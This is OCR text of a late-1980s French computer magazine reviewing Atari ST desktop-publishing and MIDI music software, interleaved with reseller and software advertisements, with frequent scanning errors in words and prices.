4 000 caractères er 128 rubriques par 
fichier. Il peut erre utilisé selon deux 
modes : découverte et expert. Le pre- 
mier offre un générareur de requêtes 
graphiques avec lequel l'utilisateur 
poinre et clique sur les champs. Le 
second manipule les fichiers au moyen 
d'un langage de requêres rrès proche de 
dBase. JT Base offre également un 
générateur d'étiquettes et de rapport. 

DANIEL ICHBIAH 
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Toupies Mégas sont v endus avec le Rédacteur 
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SUPER OFFKÏCS VAI.AHI.r.S l-.TN, .11 : 1 "N 

1040 mono chrome. Deuxième lecteur double face, Traitement de Teste le 

R.I1DACTEUR, Imprimante STAR CLC 10 Couleur 9990 

KWO monochrome, Traiement de Texte Signum 2, Imprimante 24 aiguilles 
NBCP2200: 340 DPI „.„]O90O 

ARCHITECTURE 
MEGA ST2 monochrome, ZZ 2, Table Traçante ROLAND «XOA 25900 

PAO COMPLET 
MEGA ST4. Rédacteur. Disque Dur 51) MHGA. Scannet CANON, 
Grand Ecran, Imprimante Laser ATARI SLM K04 63900 



EXCLUSIVITES INFOMANIE TTC 

CO- PROCESSEUR 
ARITHMETIQUE 68881 

accellère de plusieurs fois les calculs 
DISQUE DUR 50 MEGA 
DISQUE DUR 100 MEGA 9400 

IMPERATEL 16400 

r/composeur/emulateur minitel 2990 
MA5TER CAD 
CAOet architecture 2D/3D 2360 

(.Al.ANTERIE 
videoleMisatmn d'image pjrfesaonejfc 90011 
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Venez découvrir le nouveau 32 bits à 

architecture R.I.S.C. 
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une exclusivité Infomanie 
Disponible en stok et en démonstration 
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Lecteur Supplémentaire U 
Carte Fond de Panier 2 sk 
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Interface MIDI avec logic 
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TWIN (Editeur pour programmation) 
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EXCLUSIVITES 

GEN Lock PAL/COMPOSITE 199(1 
EXT MEMOIRE 2 MEGA 

- A 500 5490 1 

- A 1000 5690 
DISQUE DUR 20 MEGA 

- A 500 6990 

- A 1000 7290 
SUBSYSTEM - 2990 

A20OO sur A 500 ou 1000. phi, un lecteur 

VISUAL AURAI. ; 

Système interactif musique- images: une 

liCjUeen entrée provoque des effets 

imetrables sur les images a l'écran 



À LA POURSUITE 
DE LA QUALITÉ 

La micro-édition est l'un des axes de promotion d'Atari. 

L'offre est imbattable en matière de prix. 

Et si les logiciels actuels ne sont pas encore au niveau des 

meilleurs sur les autres standards, ils ne sont en 

aucun cas des produits au rabais. 



Sans être un marché explosif, la 
micro-édition suscite régulièrement 
de nouveaux produits. Destinée en pre- 
mier lieu à des entreprises pour la 
communication interne, la réalisation de 
mailings publicitaires, la rédaction 
d'ouvrages techniques et en règle géné- 
rale à tout ce qui auparavant faisait 
appel à la sous-traitance - agences et 
imprimeurs -, la micro-édition sur 
Atari se rentabilise vite. Pour Steve 
Jobs, elle n'est qu'une branche du 
traitement de texte, dont l'amélioration 
en qualité sera bientôt rattrapée par tous 
les logiciels de ce domaine. 

En attendant ce jour, il faut bien 
constater que de plus en plus d'applica- 
tions sont rendues possibles par ces 
techniques fiables et bon marché qui 
exigent un faible investissement et ai- 
dent à gagner du temps et de l'argent. 
80 % des possesseurs de micro-ordina- 
teurs utilisent un traitement de texte. Si 
les prix restent raisonnables, les pro- 
grammes de mise en pages devraient 
connaître un succès important. 

Les imprimantes laser sur ST et 
Mega ST ne se limitent d'ailleurs pas à 
la SLM 804 signée Atari, les modèles 
Apple LaserWriter ou HP s'y raccor- 
dent également. Les polices de caractè- 
res de ces dernières sont donc disponi- 
bles pour l'impression, même si elles ne 
le sont pas toujours à l'écran. Trois 
programmes sont actuellement vendus 
sur Atari : Publishing Partner, Fleet- 
street et, le tout dernier, Timeworks. 



PUBLISHING PARTNER 

Publishing Partner, sorti en juin 
1987, fut le premier programme de 
mise en pages commercialisé en France 
sur Atari, suivi par Fleetstreet. Publi- 
shing Partner autorise sept formats pré- 
définis, plus d'autres au choix de l'utili- 
sateur, depuis la taille d'un timbre- 
poste, jusqu'à 45 X 45 cm. La première 
opération consiste à définir le docu- 
ment, c'est-à-dire l'orientation de la 
page (à la française ou à l'italienne), s'il 
est recto ou recto-verso. Ensuite, il 
faudra indiquer le nombre de colonnes 
(de 1 à 99) et le nombre de pages du 
texte, ce qui semble peu pratique. Il est 
en effet difficile de déterminer à l'avance 
la taille d'un texte, et l'on a en consé- 
quence tendance à donner une longueur 
qui < laisse de la marge >. Même si des 
astuces permettent de contourner les 
principaux défauts d'ergonomie ou, 
pire, de conception de Publishing Part- 
ner, ce dernier n'en possède pas moins 
d'incontestables qualités. 

Par la définition d'une sorte de feuille 
de style, les maquettes peuvent être 
réalisées avec précision. Là se situe l'un 
des points forts du logiciel. Les polices 
de caractères présentes en standard se 
complètent par l'achat de disquettes. 
L'une d'entre elles propose onze polices 
PostScript (395 F ne) et cinq autres 
disposent chacune de trois polices 
(195 F ht). Les cinq disquettes de la 
collection < Images > contiennent des 
s regroupés par thèmes. Les 



Editeur : Soft Logik/Upgrade éditions 
Distributeur : Upgrade éditions 
Prix .'1 5 1 F ht ; Publishing Partner 
Junior:835Fht 
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Editeur : Mirrorsoft/Fil 
Distributeur . .Fil 
Prix: 83 5 F ht 

Scma-!eaeurs, réiereaceir ( 



Editeur : Timeworks/Atari 
Distributeur : Atari 
Prix .835 F ht 
Serviœ-lecceurs, référencer? 69 



fonctions typographiques sont, en re- 
vanche, incomplètes. Il manque par 
exemple la coupure automatique des 
mots, indispensable pour obtenir des 
colonnes justifiées sans < cheminées >, 
d'autant que les blancs ne sont gérés 
que sur l'interlettrage ou l'intermot, au 
choix, sans panachage possible. Des 
modifications manuelles d'approche 
sont cependant possibles, mais cela n'est 
pratiquement réalisable que sur des 
titres. 

Pour commencer un document, Pu- 
blishing Parmer propose une grille qua- 
drillée permettant de marquer les points 
de repère pour placer les colonnes. Les 
règles graduées en bordure d'écran affi- 
chent au choix des picas, des pouces ou 
des centimètres. Au fur et à mesure de la 
création en < tel écran, tel écrit >, le 
résultat final est visualisé grâce à des 
agrandissements ou réductions, au 
choix de l'utilisateur, de 10 % à 
1 000 %. Les options graphiques per- 
mettent d'intervenir pour l'insertion 
d'images de différents formats, qui 
peuvent être entourées d'un filet ou 
d'un cadre dont l'épaisseur varie de 0,5 
à 6 points. Malheureusement, une 



bogue empêche d'effacer un cadre ré- 
duit par erreur à une simple ligne. 

Avec ces outils, on coupe ou déforme 
les graphiques avant leur insertion. Ils 
peuvent également être déplacés, bien 
que le logiciel ne connaisse pas l'habil- 
lage automatique. Leur place doit donc 
être prévue, de façon à ne pas recouvrir 
le texte. Les colonnes pouvant être 
chaînées entre elles, il n'est pas gênant 
de commencer par réaliser la maquette 
avec des illustrations. Une fois ce travail 
réalisé, le texte glisse d'une colonne à 
l'autre, en sautant les illustrations. 
Grâce au chaînage, la mise en pages de 
documents importants est possible. En 
revanche, les fichiers de texte importés 
seront de 32 Ko au maximum, La seule 
façon de tourner cette relative limitation 
est d'utiliser le traitement de texte 
intégré et d'entrer le texte dans des 
colonnes préétablies. 

Vendu 1 510 F ht, Publishing Part- 
ner est un produit au très bon rapport 
qualité/prix. La version 2, très large- 
ment améliorée, sera présentée très pro- 
chainement. Pour répondre, en matière 
de prix, à ses deux concurrents, Up- 
grade a édité Publishing Partnet Junior, 
qui reprend toutes les fonctions de son 
aîné, mais ne dispose pas des pilotes 
d'imprimantes laser Atari et PostScript. 
Ceux-ci peuvent être cependant acquis 
ultérieurement. 



FLEETSTREET PUBLISHER 

L'approche de Fleetsneet Publisher 
ne surprendrait pas un utilisateur de 
Macintosh. Résolument tourné vers 
Gem, il en utilise systématiquement les 
facilités. Bien que possédant de nom- 
breuses fonctions communes avec Pu- 
blishing Partner, il n'est pas aussi so- 
phistiqué que ce dernier, sauf en ce qui 
concerne les fonctions typographiques, 
domaine où il se montre très puissant. A 
gauche de l'écran, on trouve une boîte à 
outils, un ptesse-papiers et une pou- 
belle. La boîte à outils contient les icônes 
pour les modes graphique et texte. 
Après avoir choisi la taille du document, 
déterminé le nombre de colonnes et 
l'espace les séparant, la page apparaît, 
prête à l'écriture. La partie graphique est 
un peu faible, puisqu'on ne dispose que 
d'une seule brosse pour dessiner. La 
variété des cadres et des filets est cepen- 
dant beaucoup plus vaste. Comme c'est 
le cas avec Publishing Partner, ces der- 
niers sont traités comme des objets et 
peuvent en conséquence être facilement 
enlevés ou déplacés. 

Fleetstreet n'est pas conçu pour réali- 
ser des documents très longs. Chaque 
page est stockée séparément, ce qui pose 
des difficultés de mise en pages. Le texte 
ne coulera pas de l'une à l'autre de la 
première à la dernière. Quelques pro- 
blèmes surgissent parfois dans l'affi- 
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chage des lettres de corps intermédiaires. 
Les différentes tailles sont stockées indé- 
pendamment, et les valeurs intermé- 
diaires sont extrapolées, ce qui entraîne 
parfois des imperfections. Fleetstteet 
accepte des images numérisées haute 
définition. Leur impression sur impri- 
mante laser est d'excellente qualité. 

Globalement, Fleetstreet reste facile 
à utiliser, à condition de se servir systé- 
matiquement de la souris, car colonnes 
et réserves graphiques doivent être pla- 
cées < à la main >, à moins de les définir 
en coordonnées x et y, ce qui est peu 
pratique. La documentation est bonne, 
et le prix très compétitif. 

TIMEWORKS 
DESKTOP PUBLJSHER: 
LA SOPHISTICATION 

Dernier venu, mais non des moin- 
dres, Timeworks Desktop Publisher. Il 
apporte de notables améliorations à la 
mise en pages sur Atari et n'est pas sans 
tappeler Ventuta. Il fournit en standard 



cinq polices de caractères pour toutes les 
imprimantes, à l'exception des Post- 
Script qui gèrent leurs propres polices : 
Swiss, Dutch, Rockface, Drury Lane et 
Bulles. La taille des caractères ne dépas- 
sera pas 72, à l'exception des impri- 
mantes PostScript, qui montent à 99 
points. 

La première étape de la création d'un 
document consiste à réaliser des réserves 
pout le texte et les graphiques. Ces 
réserves peuvent être chaînées pour que 
le texte coule de l'une à l'autre. Quand 
on déplace une réserve, son contenu est 
bien sûr déplacé en même temps. Seul 
sur Atari, Timeworks dispose de l'ha- 
billage automatique du texte autour des 
images. Chaque document est stocké 
avec sa feuille de style qui correspond à 
sa définition de présentation. Les feuilles 
de style peuvent être rappelées indépen- 
damment du document pour resservir 
ailleurs. En cas de problème majeur de 
conception, les fonctions d'importation- 
exportation petmettent de jongler avec 
des modèles de feuilles différents, ce que 



savent également faire Fleetstreet et 
Publishing Partner. 

Dès qu'un texte est chargé dans un 
cadre, il est automatiquement calibré et 
la coupure de mot automatique donne à 
chaque ligne la même longueur. Le 
collage d'un graphique dans un cadre 
déjà prévu peut se faire en incluant des 
modifications de raille et de cadrage du 
dessin à l'inrérieur de son cadre. Pour 
réaliser cette opération, la soutis se 
ttansforme en paire de ciseaux, de façon 
à harmoniser les différents types de 
fonctions. Avec la boîte à outils, la 
permutation est facile entre les modes 
cadre, paragraphe, texte et graphique. 

A n'importe quel moment de la 
création du document, on peut ajouter 
ou enlever des hauts ou bas de pages. 
Un soin tout particulier est apporté aux 
intermots et à l'intetlettrage, fonctions 
qui se combinent avec la coupure de 
mot automatique, gage d'une justifica- 
tion totale réussie. Si la place entre 
chaque mot excède le maximum défini 
par l'utilisateur dans les paramètres, le 
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Difficile, le choix d'un équipement en 
micro-édition? Plus maintenant. 

, Mainte nant il existe une c arte 
des spécial isies PAO: 
Chacun des points de 
vente présents sur cette 
page est un centre de 
compétences en Publi- 
cation Assistée par Ordi- 
nateur. 
Dotés d'un véritable 
espace de démons- 
tration laser, ils sont 
a même de vous 
fournir les conseils, 
les matériels, les logi- 
ciels et l'assistance adaptés à vos besoins. 



Manlenéirt il existe une sg_ï,tior_d_e PAC à la ca rte: 
Si, une fois la configuration de base acquise (ordinateur et logi- 
ciel) vous ne souhaitez pas investir tout de suite dans une 
imprimante laser, optez pour un service souple et efficace: 
Chacun de ces points de vente vous propose un accès en libre- 
service à une station d'édition laser. Celle-ci est organisée 
autour des logiciels Publishing Partner et Publishing Partner 
Junior associés à une imprimante laser (Atari, ou HPLaserJet-r 
ou compatible PostScript). 

Il suffit d'apporter vos réalisations sur disquette, le reste est 
aussi simple qu'une photocopie. 

Upgrade 

28-30, rue Cotiolis - 75012 PARIS - Tél. (1) 43.44.78.88 - Télex 649 079 F 



LES LOGICIELS AU QUOTIDIEN 



MICRODIAL 



REPERES 



33, Rue Calsserie -13002 Marseille 
Tel: (16) 91 56 17 70 



Ordinateurs 

XT Turbo I 4,77 Ou 10 Mhz. 

SYSTEMES MONO COMPLET 

512kRAM,1 Lecteur 360k, 
écran S carte Monographique 
clavier style AT 3900 F 

XT TURBO 2 : 2 Lecteurs 360 K 
4550 F COMPLET 

XT TURBO 3 : 1 Lect.360 k S 1 
5950 F disque dur 20 Méga 

AT TURBO 6 Ou 10 MHz 

512kRAM,1Ledeur1,2MG, 
écran & carte monographique 
clavier étendu 1 02 Touches. 6595 F 



Avec Disque dur 20 Mg 
Avec Disque dur 40 Mg 
Conf.EGAH"+20Mg 



8450 F 
9850 F 
12900 F 



IMPRIMANTES 



NEC 
EPSON 



LX800 1985 F 
EX 1000 5300 F 



2990 F 
3950 F 



PORTABLES-™™* 



T 1000 1L«teur/S12k 
T1200 20MgdisqueMMgRAM 
T5100 40Mgdisque/3MgRAM 



6880 F 
17300 F 
36000 F 



PORT.IIIAV.20MG 25000 F 

PORT.386AV.40MG 36995 F 

DICONIX150P 3200 F 



Macintosh Occasions 
GARANTIE UN AN 



MAC SE20 Mg Disque 
MAC SE 2 Disquettes 
IMAGE-Writer II 



18500 F 
14900 F 
3995 F 



prix Hors Uxes.TVA!B.6% 
Matériel Garantie un an Pikss & Mainjf oeuvra 
Macintosh est une marqua déposée par Apple computer 
Toshiba, Compaq, Epson S Nec sont des Marques 
déposées par leurs compagnies respectives. 



► système ajoute automatiquement de 
l'espace entre les lettres. Cette facilité 
teste débrayable à tout moment. 

Bien que possédant des outils gra- 
phiques, Timeworks n'est pas prévu 
pour la facture de graphiques 
complexes. Le manuel d'utilisation sug- 
gère donc de travaillet sur un pro- 
gramme dédié et d'importer ensuite le 
graphique ainsi obtenu. Cependant, on 
peut réaliser directement des formes 
simples avec les outils graphiques, pat 
exemple des cercles, des polygones, des 
ellipses ou des dessins à main levée. 
L'approche étant là aussi < orientée 
objet >, chaque dessin se compose 
d'objets qui seront léaffichés dans l'or- 
dre où ils auront été créés. Timeworks 
offre cependant une fonction originale 
de réattribution d'ordre d'affichage, qui 
empile et désempile les objets. Pour 
introduire un texte dans un dessin, il est 
tecommandé d'importei ce texte dans 



un cadre à part et de placer ensuite cette 
réserve sur le dessin. C'est une façon 
élégante de tourner la difficulté de 
déplacement, en tant qu'objet, d'un 
texte qui est défini par son style, sa 
police et sa taille. En complément, on 
pourra jouer avec les modes < opa- 
que/transparent >. Les dessins 
complexes peuvent ainsi se construite à 
partir d'éléments simples superposa- 
ntes. 

Globalement, Timeworks est donc 
un programme riche en fonctions, ac- 
compagné d'un mode d'emploi clair, 
mais qui manque cruellement d'illus- 
trations. On en est réduit, dans un 
premier temps, à imaginer à quoi le 
texte fait allusion. Des copies d'éctans 
seraient les bienvenues. Le glossaire est 
bien fait, au point qu'il serait bon de le 
lire en premier, afin d'arriver dans le 
texte avec un vocabulaire déjà adapté. 
JACQUES DE SCHRIVER 



A l'initiative d'Upgrade Editions, 
l'éditeur de Publishing Partner, des 
revendeurs Atari se sont spé c i alis és dans 
la micro-édition et offrent l'utilisation 
d'un poste d'impression avec une im- 
primante laser Atari ou compatible 
PostScript. Ils sont actuellement une 
trentaine en France, en Suisse et en 
Belgique, de Brest à Mulhouse, de 
Perpignan à Liège, de Nice à Rouen, en 
passant par Tours ou Lausanne. 

Micro-Vidéo est l'un des trois 
< centres de compétence PAO > pari- 
siens et propose à ses clients un ensem- 
ble composé d'un 1040, d'un disque 
dur et d'une imprimante laser QMS 
PostScript. Il suffit de venir avec une 
disquette comprenant les fichiers Publi- 
shing Partner (ou d'un autre logiciel 
pilotant PostScript) ainsi que les polices 
de caractères nécessaires. Le poste se 
loue 60 F ttc l'heure, par tranches de 
10 mn. Chaque page imprimée est 
ensuite facturée de 10 F (une à cinq 
pages) à 2 F (plus de cinquante pages). 
L'impression d'une page dure en 



moyenne deux minutes. Le coût d'im- 
pression d'une seule page est donc de 
20 F, celui de dix pages de 70 ou 80 F, 
et celui de cent pages d'environ 400 F. 
Les possesseurs de Publishing Partner 
Junior, qui ne disposent pas de pilote 
PostScript, peuvent utiliser ce poste 
d'impression sans problème. Un scan- 
ner Hawk est également à disposition, 
pour 200 F ht l'heure, par tranches de 
15 mn. 

Micro- Vidéo compte déjà parmi ses 
clients des journaux spécialisés à faible 
tirage qui effectuent leur mise en pages 
avec Publishing Partner, mais qui n'ont 
pas pu ou voulu investir dans un poste 
complet d'impression. Un autre service, 
très intéressant, est proposé par Micro- 
Vidéo : la réalisation de films ou de 
bromures à l'aide d'une photocompo- 
seuse linotronic 300. La qualité est 
alors itréprochable, et les prix raisonna- 
bles, 65 F ht pour un bromure A4 et 
85 F ht pour un film A4, avec un délai 
de livraison de trois jours. Des services 
en 24 h ou même en 1 h sont assurés. 
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LA NOTE 
NUMÉRISÉE 



Avec des performances il y a peu réservées à de très coûteuses 

machines dédiées, le monde ST s'impose auprès 

de musiciens amateurs et professionnels. 

La miao-informatique influence considérablement la création 

musicale d'aujourd'hui. 



La finalité des instruments Midi, 
synthétiseurs, expandeurs, échantil- 
lonneurs, boîtes à rythmes, etc., est la 
création et la restitution des sons. La 
finalité des sons est la composition des 
œuvres musicales. Au-delà de son mes- 
sage sonore, la musique ptésente la 
particularité de se ttansmettre par 
l'écrit. Le musicien fabrique sa propre 
matière sonore, la façonne et la commu- 
nique. La création des sons, la création 
de la musique, l'édition des partirions 
sonr devenues accessibles à un plus 
grand nombre, grâce à l'émergence des 
nouvelles techniques. La chaîne formée 
par un ou plusieurs insttuments Midi, 
un micro-ordinateur et ses logiciels mu- 
sicaux associés, constitue une solution 
globale, performante, souple, évolutive 
et d'un très bon rapport qualité/prix. 

► LES GESTIONNAIRES 
ÉDITEURS DE SON 

Après l'achat d'un synthétiseur, le 
problème de la gestion et de l'édition 
des sons se pose rapidement. En fonc- 
tion du synthétiseur, la modification des 
sons proposés par le constructeur (les 
presets usine), la recherche de nouveaux 
sons, l'archivage et la restitution des 
résultats sont des opérations plus ou 
moins aisées. Plusieurs synthétiseurs 
disposent d'un petit logiciel interne qui 
anime les paramètres à renseigner sous 
la forme d'un menu arborescent qui 
défile sur une ou deux lignes d'un 
visualisateur à cristaux liquides. 



Néanmoins, l'utilisation des touches 
multifonctions pour accéder aux diffé- 
rents paramètres n'offre pas au musicien 
toute la rapidité d'exécution et la clarté 
souhaitées. Son esprit créateur ne doit 
pas être entravé par une manipulation 
fastidieuse. Enfin, sur le plan de la 
sauvegarde des données, les systèmes 
proposés, carte-mémoire (RAM ou 
ROM) ou lecteur de disquettes intégré, 
ne donnent à l'utilisateur qu'une ré- 
ponse partielle qui s'avère finalement 
assez coûteuse. Les logiciels de gestion et 
d'édition des sons disponibles sur le 
marché répondent à ces préoccupations 
et ajoutent même des fonctionnalités 
dans le domaine de la création automa- 
tique des sons. 

On peut en effet distinguer quatre 
grandes fonctions : la gestion des sons, 
l'édition des sons, la création automati- 
que des sons, les services utilitaires. La 
gestion des sons pose au préalable le 
problème de leur organisation. D'une 
manière générale, un son ou un timbre 
est issu du mélange de constituants 
élémentaires, parfois appelés < par- 
tiels >. Le plus souvent, un timbre 
comporte deux partiels. Le < patch > 
regroupe un ou plusieurs timbres ainsi 
que les indications permettant de les 
jouer sur le clavier, par exemple l' attri- 
bution des zones du davier en fonction 
des timbres. Enfin, les < patches > sont 
réunis dans une banque identifiable à 
un fichier. 

L'opération la plus importante est 
celle du transfert des banques entre le 




synthétiseur, la mémoire centrale et les 
disquettes du micro-ordinaueur. Le logi- 
ciel de gestion de sons ST Studio n'as- 
sure que cette seule opération. En 
revanche, alors que les gestionnai- 
res/éditeurs sont dédiés à un seul syn- 
thétiseur du fait de leur partie « édition 
des sons >, ST Studio gère quarante 
instruments Midi répartis chez dix cons- 
tructeurs. 

L'autre opération, tout aussi utile, est 
celle de la modification (insertion, dé- 
placement, suppression) des patches à 
l'intérieur d'une banque et l'échange de 
ces parches entre plusieurs banques (en 
général deux banques sont chargées en 
mémoire). Ainsi, rapidement, il est 
possible de réorganiser la banque utili- 
sée pour l'instrument Midi de façon à 
ranger les parches et à faciliter leur 
sélection au cours de l'exécution d'un 
morceau. MT Designer et DE 50 réali- 
sent cette opération par l'activation des 
fonctions (COPY, MOVE, SWAP) et 
la désignation des parches correspon- 



dants. Plus ergonomique, la série des 
Synthworks utilise la technique du dé- 
placement du nom du parch sélectionné 
(les fameux fantômes) à l'endroit désiré 



L'édition des sons est la partie la plus 



fascinante de la synthèse sonore puis- 
qu'elle touche à la modification et à la 
création des sons. Pour faciliter cette 
entreprise, l'éditeur doit représenter les 
différents éléments qui caractérisent les 
patches, les timbres et les partiels sous la 
forme la plus ergonomique et la plus 
compréhensible, afin d'effectuer rapide- 
ment les réglages nécessaires. Les écrans 
présentés sous forme de synoptiques 
visualisant les modules de la chaîne de 
traitement (générateurs d'ondes, oscilla- 
teurs, modulateurs, générateurs d'enve- 
loppes, filtres, etc.) sont de loin les plus 
efficaces. A partir de cette chaîne, un 
agrandissement sur une plus grande 
partie de l'écran peut être obtenu sur un 
module donné ou sur une fonction par- 
ticulière. 

Par ailleurs, toute modification sur 
un paramètre doit pouvoir être enten- 
due immédiatement pour en apprécier 
l'effet. Le contenu des écrans est directe- 
ment lié aux possibilités (type de syn- 
thèse et plage de réglage des paramè- 
tres) du synthétiseur à programmer. 

A chaque synthétiseur correspond 
son éditeur. La démarche pour la modi- 
fication d'un patch ou d'un timbre 
existant est assez simple. Après charge- 
ment et visualisation des paramètres, 
l'opération consiste à faire évoluet quel- 
ques valeurs jusqu'à l'obtention du 
résultat souhaité, par exemple, aug- 
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menter ou diminuer la durée d'éva- 
nouissement d'un timbre. Cette opéra- 
tion est facilitée par la représentadon 
graphique de la courbe d'enveloppe et 
par la possibilité sur certains éditeurs 
(Syntlïworks et DE 50) de déplaça 
directement avec la souris les points 
caractéristiques de la courbe. C'est très 
pratique et efficace. Une courbe est 
toujours plus compréhensible que la 
seule liste de ses valeurs. 

D'aurres éditeurs ne proposent que la 
visualisation de la courbe, ses modifica- 
tions étant obtenues par le déplacement 
d'un curseur associé au paramètre 
(MT Designer). Pour la création d'un 
timbre, deux démarches distinctes sont 
réalisables. La première consiste à créer 
le timbre à partir d'une idée préalable. 
On souhaite, par exemple, rechercher 
un timbre de piano. Dans ce cas, 
l'éditeur n'apporte aucune aide dans la 
démarche à effectuer. C'est l'expérience 
du musicien qui le conduit à tégler les 
paramètres dans un ordre déterminé. 
L'éditeur ne facilite que les réglages, 
mais ne dit pas lesquels sont à effectuer. 
Parti sur l'idée d'obtenir un piano, on 
peut très bien se retrouva avec une 
superbe clarinette ! 

L'autre démarche est de laisser faire 
le programme en utilisant sa fonction de 
création automatique des sons. La fonc- 



tion procède alors par tirage aléatoire 
des paramètres (MT Designer, DE 50). 
Le musicien détamine la zone d'action 
du générateur aléatoire au moyen d'un 
masque qui permet de ne prendre en 
compte que certains paramètres à modi- 
fier et limite le tirage à l'intérieur d'une 
plage plus ou moins grande de valeurs 
possibles. La technique utilisée dans la 
série des Synthworks procède d'une 
analyse des anciens patches pour en 
générer de nouveaux. De plus, le Synth- 
works génère automatiquement les 
noms du patch et des timbres associés. 
Les sons obtenus sont très intéressants. Il 
y en a auxquels on ne penserait jamais 
car notre démarche naturelle nous fait 
aller toujours vers les mêmes sons. 

H&> LES SÉQUENCEURS 

Les services utilitaires concernent la 
fonction du réglage des paramètres 
Midi, la possibilité d'utiliser un mini 
séquenceur (Synthworks), la mise en 
oeuvre d'une boîte à rythmes 
(MT Désigna). A ce sujet, il faut indi- 
qua qu'aujourd'hui MT Designer est 
la seule façon de programma le MT 32 
de chez Roland a que ce logiciel tire 
vraiment parti de toutes les possibilités 
de cet expandeur. Enfin, tous les logi- 



ciels impriment des paramètres sur une 
imprimante, le plus riche dans ce do- 
maine étant Synthworks qui, dans l'en- 
semble, s'avère être le logiciel le plus 
performant. 

Les logiciels séquenceurs pour micro- 
ordinateur se sont rapidement substi- 
tués aux séquenceurs intégrés aux syn- 
thétiseurs ou aux séquenceurs autono- 
mes appelés parfois monolithiques. Il ne 
faut pas oublier que ces séquenceurs ne 
pouvaient enregistrer en moyenne que 
quelque 6 000 à 10 000 notes. La 
capacité mémoire des miao-ordinateurs 
d'aujourd'hui autorise un enregistre- 
ment de 150 000 notes. 

Du fait de l'enregistrement des carac- 
téristiques d'une note (hauteur, durée, 
intensité, façon de la joua) a non de 
son contenu harmonique, c'est-à-dire 
du timbre propre à chaque instrument, 
le séquenceur restitue un enregistrement 
avec n'importe quel timbre d'instru- 
ment Midi. 

Ainsi, à la différence d'un magnéto- 
phone qui n'enregistre que des sons, le 
séquenceur n'enregistte que tes 
commandes qui restituaont les sons. A 
partir de ce principe, d'énormes possibi- 
lités (changement de tempo ou de 
tonalité, répétition à l'infini ou bouclage 
de notes) sont offertes au musicien pour 
réaliser ses arrangements. En effet, le 
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"LIGEN" EST UN GENERATEUR D'APPLICATION 
FRANÇAIS, N'UTILISANT QUE LE FRANÇAIS : 

• FACILE A APPRENDRE : 31 instructions seulement 
manuel utilisateur comportant une initiation complète pour les non- 
informaticiens et un manuel de référence détaillé. 

• FACILE A UTILISER : vous serez guidé pas à pas dans le 
développement de votre application par des fenêtres à menus 
déroulants; des contrôles automatiques vous aideront dans la 
définition et la syntaxe des commandes;, son interpréteur vous 
permettra de tester votre application au fur et à mesure de sa 
réalisation. 

•FACILE A FAIRE EVOLUER :en effet chaque commande de 
base a été étudiée afin de rendre les sources lisibles, mainte 
nables et modifiables, même par des non-informaticiens. 



, — fAlTRm^ 1 ^ 5 - 



mots de passe autoribmu 

applications, intitulés des divers dicttonnaii 



LIGOGEN COMPTABILITE GENERALE 



Vous voulez développer voa applications:, il vous tant : 

• 1 SGBD ou un gestionnaire de fichiers 

• 1 gestionnaire d'écrans puissant 

• 1 langage de commande 

• 1 générateur d'application qui solutionne 80 % 
de la structure de votre application 

• 1 outil de prototypage 

• 1 atelier de génie logiciel avec un environnement 
interactif à fenêtres et menus déroulants 

• 1 gestion d'adresse avec édition dtëlfqu d ai ■:;■■;: 
(fournie gratuitement en exemple d'application) 



vous-même aisément adapter a vos besoins propres et faire évoluer avec LIGEN. 
H effel LICOGEN est non seulement livré avec son module exécutable mais aussi 
j : ,'e.T LA? sources LIGEN commentées dans le manuel utilisateur. 

cjmctsuotuïS: mranMurt, 

CAPACITÉS • journaux classiques ou de trésorerie avec contrepartie automatique, 

• 65 C00 journaux • Soldes des comples non arrêtés, arrêtés sur clôture mensuelle. Ard , 

• 6S C00 comptes • Saisie des écritures contrôlée à chaque nouvelle er:! ■■--:; 

• 65 COQ écritures comptables • Editions journaux balance et grand livre sans tri préalable, 

• Entrées de mvts e bleurs. 

Module exécutable 
IBM PC. AT, ou. PS/2 sous MSDOS v. 2,00 ou supérieure. 384 KO RAM, Z lecteurs disquettes, 



LIGEN BASIC / LIGEN "C" 



ns plus performantes. 



nodffica 



• Vous pourrez vendre un logiciel que vous ai 

en utilisant LIGEN BASIC ou LIGEN C pour cor 

dans les langages suivants 

Ouick Basic Microsoft ■ Quick "C" Microsoft* 

LIGEN BASIC 740 F H.T. 

LïGEN C 990 F H.T. 

monochrome ou couleurs (type MDA, CGA et EGA). 
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IBM PC, AT, ou.PS/2 sous MSDOS v. 2,00 ou supérieure. 384 KO RAM, 2 lecteurs disquettes, 1 écran monocluome ou couleurs (type I 
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Le Journaliste, logiciel de micro-édition accessible à tous, est disponible 
dès maintenant sur Thomson T08/T08D/T09 + et sur Nanoréseau. 
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principal intérêt d'un séquenceur est de 
travailler sur plusieurs pistes d'une 
façon indépendante. Dans un premier 
temps, on enregistre un morceau de 
flûte sur ia piste 1 du séquenceur, dans 
un second temps, tout en écoutant la 
piste 1, on enregistre un accompagne- 
ment au piano sur la piste 2. En 
procédant de façon identique, on peut 
ajouter d'autres instruments. Sous ré- 
serve de posséder un instrument Midi 
polytimbral (capable de jouer plusieurs 
timbres simultanément), ce qui est gé- 
néralement le cas des expandeurs (syn- 
thétiseur sans clavier), ou de disposer de 
plusieurs synthétiseurs, on se trouve à la 
rête d'un véritable orchestre. Au niveau 
de chaque piste, le plus petit élément 
identifiable (repéré par son nom) est le 
pattern. Un pattem correspond à une 
ou plusieurs mesures d'un morceau. 
L'ensemble des pattems forme un sang, 
morceau également identifiable. 

Pour procéder à l'enregistrement 
d'un pattem, il est nécessaire, au préala- 
ble, de sélectionner la piste, le canal 
Midi utilisé et de régler le tempo et la 
valeur de la mesure. Après avoir enre- 
gistré quelques mesures, le résultat ob- 
tenu peut être écouté sur le synthétiseur 
mais également visualisé sur une grille 
représenrative des paramètres mémori- 
sés (situation de la note dans la mesure, 
valeur de la note, vélocité et durée de 
celle-ci) ou directement sur une portée. 
L'intérêt du séquenceur consiste à pou- 
voir modifier, en temps réel, en écoutant 
le pattern, l'ensemble de ces paramètres 
sans être obligé de rejouer. 

Une autre méthode, plus naturelle et 
plus proche du musicien, consiste à 
enregistrer le pattem en cycle jusqu'à 
l'obtention d'un résultat satisfaisant à 
l'oreille. Dans ce cas, seule la dernière 
version est gardée par le séquenceur. 
Tous les mixages sont permis. Nous 
avons affaire à un véritable traitement 
de texte musical. 

Transcrire sa propre musique rapide- 
ment et sans erreur est le rêve de chaque 
musicien. Aujourd'hui, les éditeurs de 
partitions sont une aide privilégiée pour 
accomplir cette tâche. La plupart des 



séquenœurs, à l'instar de Pro 24 et de 
Notator, offrent des possibilités d'édi- 
tion de partitions. Il n'en reste pas 
moins vrai que les outils les plus perfor- 
mants sont des logiciels dédiés tel que 
